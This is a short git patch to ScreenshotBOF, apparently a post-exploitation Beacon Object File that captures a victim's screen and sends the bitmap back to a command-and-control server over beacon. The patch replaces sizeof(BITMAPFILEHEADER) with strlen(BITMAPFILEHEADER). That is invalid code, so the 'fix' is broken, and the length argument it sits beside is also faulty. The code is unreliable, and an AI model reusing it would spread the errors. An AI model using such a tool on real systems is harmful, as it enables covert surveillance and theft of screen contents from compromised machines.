From b5bf5bad8cf5f80ae5aaa98b7bf2907198634db5 Mon Sep 17 00:00:00 2001 From: CodeX Date: Tue, 29 Nov 2022 23:14:10 +0800 Subject: [PATCH] Update Source.cpp resolving https://github.com/CodeXTF2/ScreenshotBOF/issues/9 --- ScreenshotBOF/Source.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ScreenshotBOF/Source.cpp b/ScreenshotBOF/Source.cpp index 1b2881b..ab3faa9 100644 --- a/ScreenshotBOF/Source.cpp +++ b/ScreenshotBOF/Source.cpp @@ -238,7 +238,7 @@ BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod) } else{ BeaconPrintf(0x0, "[*] Downloading bitmap over beacon with filename %s", lpszFileName); - downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(sizeof(BITMAPFILEHEADER) + dwDIBSize)); + downloadFile((char*)lpszFileName, sizeof(lpszFileName), (char*)bmpdata, (int)(strlen(BITMAPFILEHEADER) + dwDIBSize)); } @@ -306,4 +306,4 @@ void main(int argc, char* argv[]) { } -#endif \ No newline at end of file +#endif